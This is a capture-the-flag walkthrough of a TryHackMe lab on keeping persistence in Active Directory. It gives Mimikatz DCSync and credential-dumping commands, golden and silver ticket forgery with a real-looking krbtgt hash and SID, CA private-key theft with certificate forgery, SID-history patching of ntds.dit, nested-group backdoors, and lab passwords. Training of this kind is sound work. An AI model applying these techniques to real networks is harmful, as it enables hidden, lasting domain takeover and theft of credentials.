Persisting Active Directory
Room Link: https://tryhackme.com/room/persistingad
Introduction
Kali
systemd-resolve --interface persistad --set-dns $THMDCIP --set-domain za.tryhackme.loc
nslookup thmdc.za.tryhackme.loc
Persistence through Credentials
Kali
ssh Administrator@thmwrk1.za.tryhackme.loc
Password: tryhackmewouldnotguess1@
Kali
xfreerdp +clipboard /u:"Administrator" /v:thmwrk1.za.tryhackme.loc:3389 /size:1024x568 /smart-sizing:800x1200
Password: tryhackmewouldnotguess1@
DCSync All
Victim(cmd)
C:\Tools\mimikatz_trunk\Win32\mimikatz.exe
You will see quite a bit of output, including the current NTLM hash of your account. You can verify that the NTLM hash is correct by using a website such as this to transform your password into an NTLM hash.
This is great and all, but we want to DC sync every single account. To do this, we will have to enable logging on Mimikatz.
Victim(mimikatz)
lsadump::dcsync /domain:za.tryhackme.loc /user:$YourLow-privilegeADUsername
log $username_dcdump.txt

Now, instead of specifying our account, we will use the /all flag:
Victim(mimikatz)
lsadump::dcsync /domain:za.tryhackme.loc /all

What is the NTLM hash associated with the krbtgt user?
Victim(mimikatz)
lsadump::dcsync /domain:za.tryhackme.loc /user:krbtgt@za.tryhackme.loc

Persistence through Tickets
Forging Tickets for Fun and Profit
Now that we have explained the basics for Golden and Silver Tickets, let's generate some. You will need the NTLM hash of the KRBTGT account, which you should now have due to the DC Sync performed in the previous task. Furthermore, make a note of the NTLM hash associated with the THMSERVER1 machine account since we will need this one for our silver ticket. You can find this information in the DC dump that you performed. The last piece of information we need is the Domain SID. Using our low-privileged SSH terminal on THMWRK1, we can use the AD-RSAT cmdlet to recover this information.
Victim(powershell)
powershell
Get-ADDomain

Victim(powershell)
exit
C:\Tools\mimikatz_trunk\Win32\mimikatz.exe
Once Mimikatz is loaded, perform the following to generate a golden ticket.
Parameters explained:
/admin - The username we want to impersonate. This does not have to be a valid user.
/domain - The FQDN of the domain we want to generate the ticket for.
/id -The user RID. By default, Mimikatz uses RID 500, which is the default Administrator account RID.
/sid -The SID of the domain we want to generate the ticket for.
/krbtgt -The NTLM hash of the KRBTGT account.
/endin - The ticket lifetime. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 10 hours (600 minutes)
/renewmax -The maximum ticket lifetime with renewal. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 7 days (10080 minutes)
/ptt - This flag tells Mimikatz to inject the ticket directly into the session, meaning it is ready to be used.
Victim(mimikatz)
kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt

We can verify that the golden ticket is working by running the dir command against the domain controller.
Victim(cmd)
dir \\thmdc.za.tryhackme.loc\c$\

Even if the golden ticket has an incredibly long time, the blue team can still defend against this by simply rotating the KRBTGT password twice. If we really want to dig in our roots, we want to generate silver tickets, which are less likely to be discovered and significantly harder to defend against since the passwords of every machine account must be rotated. We can use the following Mimikatz command to generate a silver ticket.
Victim(mimikatz)
kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:$DomainSID /target:$HostnameOfServerBeingTargeted /rc4:$NTLMHashOfMachineAccountOfTarget /service:cifs /ptt
Persistence through Certificates
Extracting the Private Key
The private key of the CA is stored on the CA server itself. If the private key is not protected through hardware-based protection methods such as an Hardware Security Module (HSM), which is often the case for organisations that just use Active Directory Certificate Services (AD CS) for internal purposes, it is protected by the machine Data Protection API (DPAPI). This means we can use tools such as Mimikatz and SharpDPAPI to extract the CA certificate and thus the private key from the CA. Mimikatz is the simplest tool to use, but if you want to experience other tools, have a look here. Use SSH to authenticate to THMDC.za.tryhackme.loc using the Administrator credentials from Task 2, create a unique directory for your user, move to it, and load Mimikatz.
Kali
ssh Administrator@thmrootdc.za.tryhackme.loc
Password: tryhackmewouldnotguess1@
Victim(cmd) - THMDC
mkdir epic
cd epic
C:\Tools\mimikatz_trunk\Win32\mimikatz.exe
Let's first see if we can view the certificates stored on the DC.
Victim(mimikatz) - THMDC
crypto::certificates /systemstore:local_machine

We can see that there is a CA certificate on the DC. We can also note that some of these certificates were set not to allow us to export the key. Without this private key, we would not be able to generate new certificates. Luckily, Mimikatz allows us to patch memory to make these keys exportable.
Victim(mimikatz) - THMDC
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /export

Victim(cmd) - THMDC
dir

Generating our own Certificates
Now that we have the private key and root CA certificate, we can use the SpectorOps ForgeCert tool to forge a Client Authenticate certificate for any user we want. The ForgeCert and Rubeus binaries are stored in the C:\Tools\ directory on THMWRK1. Let's use ForgeCert to generate a new certificate:
Victim(cmd) - THMWRK1
C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123
Parameters explained:
CaCertPath - The path to our exported CA certificate.
CaCertPassword - The password used to encrypt the certificate. By default, Mimikatz assigns the password of
mimikatz
.Subject - The subject or common name of the certificate. This does not really matter in the context of what we will be using the certificate for.
SubjectAltName - This is the User Principal Name (UPN) of the account we want to impersonate with this certificate. It has to be a legitimate user.
NewCertPath - The path to where ForgeCert will store the generated certificate.
NewCertPassword - Since the certificate will require the private key exported for authentication purposes, we must set a new password used to encrypt it.
We can use Rubeus to request a TGT using the certificate to verify that the certificate is trusted. We will use the following command:
Victim(cmd) - THMWRK1
Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller>
Let's break down the parameters:
/user - This specifies the user that we will impersonate and has to match the UPN for the certificate we generated
/enctype -This specifies the encryption type for the ticket. Setting this is important for evasion, since the default encryption algorithm is weak, which would result in an overpass-the-hash alert
/certificate - Path to the certificate we have generated
/password - The password for our certificate file
/outfile - The file where our TGT will be output to
/domain - The FQDN of the domain we are currently attacking
/dc - The IP of the domain controller which we are requesting the TGT from. Usually, it is best to select a DC that has a CA service running
Generating our own Certificates
Now that we have the private key and root CA certificate, we can use the SpectorOps ForgeCert tool to forge a Client Authenticate certificate for any user we want. The ForgeCert and Rubeus binaries are stored in the C:\Tools\ directory on THMWRK1. Let's use ForgeCert to generate a new certificate.
Victim(cmd) - THMWRK1
C:\Users\aaron.jones>C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123
Parameters explained:
CaCertPath - The path to our exported CA certificate.
CaCertPassword - The password used to encrypt the certificate. By default, Mimikatz assigns the password of
mimikatz
.Subject - The subject or common name of the certificate. This does not really matter in the context of what we will be using the certificate for.
SubjectAltName - This is the User Principal Name (UPN) of the account we want to impersonate with this certificate. It has to be a legitimate user.
NewCertPath - The path to where ForgeCert will store the generated certificate.
NewCertPassword - Since the certificate will require the private key exported for authentication purposes, we must set a new password used to encrypt it.
We can use Rubeus to request a TGT using the certificate to verify that the certificate is trusted. We will use the following command:
Victim(cmd) - THMWRK1
C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller>
Let's break down the parameters:
/user - This specifies the user that we will impersonate and has to match the UPN for the certificate we generated
/enctype -This specifies the encryption type for the ticket. Setting this is important for evasion, since the default encryption algorithm is weak, which would result in an overpass-the-hash alert
/certificate - Path to the certificate we have generated
/password - The password for our certificate file
/outfile - The file where our TGT will be output to
/domain - The FQDN of the domain we are currently attacking
/dc - The IP of the domain controller which we are requesting the TGT from. Usually, it is best to select a DC that has a CA service running
Once we execute the command, we should receive our TGT:
Victim(cmd) - THMWRK1
C:\Users\aaron.jones>C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:vulncert.pfx /password:tryhackme /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.x.101
Now we can use Mimikatz to load the TGT and authenticate to THMDC:
Victim(cmd) - THMWRK1
C:\Tools\mimikatz_trunk\Win32\mimikatz.exe
Victim(mimikatz) - THMWRK1
kerberos::ptt administrator.kirbi
Victim(cmd) - THMWRK1
dir \\THMDC.za.tryhackme.loc\c$\
Persistence through SID History
Kali
ssh Administrator@THMCDC.za.tryhackme.loc
Password: tryhackmewouldnotguess1@
Get an SSH session on THMDC using the Administrator credentials for this next part. Before we forge SID history, let's just first get some information regarding the SIDs. Firstly, let's make sure that our low-privilege user does not currently have any information in their SID history:
Victim(cmd) - THMDC
powershell -ep bypass
Get-ADUser $yourAdUsername -properties sidhistory,memberof
This confirms that our user does not currently have any SID History set. Let's get the SID of the Domain Admins group since this is the group we want to add to our SID History.
Victim(powershell) - THMDC
Get-ADGroup "Domain Admins"

We could use something like Mimikatz to add SID history. However, the latest version of Mimikatz has a flaw that does not allow it to patch LSASS to update SID history. Hence we need to use something else. In this case, we will use the DSInternals tools to directly patch the ntds.dit file, the AD database where all information is stored.
Victim(powershell) - THMDC
Stop-Service -Name ntds -force
Add-ADDBSidHistory -SamAccountName $UsernameOfOurLow-privelegedADAccount -SidHistory $SIDtoAddToSIDHistory -DatabasePath C:\Windows\NTDS\ntds.dit
Start-Service -Name ntds

The NTDS database is locked when the NTDS service is running. In order to patch our SID history, we must first stop the service. You must restart the NTDS service after the patch, otherwise, authentication for the entire network will not work anymore.
After these steps have been performed, let's SSH into THMWRK1 with our low-privileged credentials and verify that the SID history was added and that we now have Domain Admin privileges.
Kali
ssh $lowUser@thmwrk1.za.tryhackme.loc
The NTDS database is locked when the NTDS service is running. In order to patch our SID history, we must first stop the service. You must restart the NTDS service after the patch, otherwise, authentication for the entire network will not work anymore.
After these steps have been performed, let's SSH into THMWRK1 with our low-privileged credentials and verify that the SID history was added and that we now have Domain Admin privileges.
Victim(cmd) - THMWRK1
powershell -ep bypass
Get-ADUser $lowUser -Properties sidhistory
dir \\thmdc.za.tryhackme.loc\c$


Persistence through Group Membership
Kali
ssh Administrator@THMDC
Password: tryhackmewouldnotguess1@
Nesting Our Persistence
Victim(powershell) - THMDC
powershell
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 1" -SamAccountName "<username>_nestgroup1" -DisplayName "<username> Nest Group 1" -GroupScope Global -GroupCategory Security
Let's now create another group in the People->Sales OU and add our previous group as a member:
Victim(powershell) - THMDC
New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 2" -SamAccountName "<username>_nestgroup2" -DisplayName "<username> Nest Group 2" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "<username>_nestgroup2" -Members "<username>_nestgroup1"
We can do this a couple more times, every time adding the previous group as a member:
Victim(powershell) - THMDC
New-ADGroup -Path "OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 3" -SamAccountName "<username>_nestgroup3" -DisplayName "<username> Nest Group 3" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "<username>_nestgroup3" -Members "<username>_nestgroup2"
New-ADGroup -Path "OU=MARKETING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 4" -SamAccountName "<username>_nestgroup4" -DisplayName "<username> Nest Group 4" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "<username>_nestgroup4" -Members "<username>_nestgroup3"
New-ADGroup -Path "OU=IT,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 5" -SamAccountName "<username>_nestgroup5" -DisplayName "<username> Nest Group 5" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "<username>_nestgroup5" -Members "<username>_nestgroup4"
With the last group, let's now add that group to the Domain Admins group:
Victim(powershell) - THMDC
Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_nestgroup5"
Lastly, let's add our low-privileged AD user to the first group we created:
Victim(powershell) - THMDC
Add-ADGroupMember -Identity "<username>_nestgroup1" -Members "<low privileged username>"
Instantly, your low-privileged user should now have privileged access to THMDC. Let's verify this by using our SSH terminal on THMWRK1:
Victim(powershell) - THMWRK1
dir \\thmdc.za.tryhackme.loc\c$\

Let's also verify that even though we created multiple groups, the Domain Admins group only has one new member:
Victim(powershell) - THMDC
Get-ADGroupMember -Identity "Domain Admins"

Persistence through ACLs
Kali
xfreerdp /v:thmwrk1.za.tryhackme.loc /u:'$low-privUser' /p:'$Password'
See tryhackme on steps
Persistence through GPOs
See tryhackme on steps
Last updated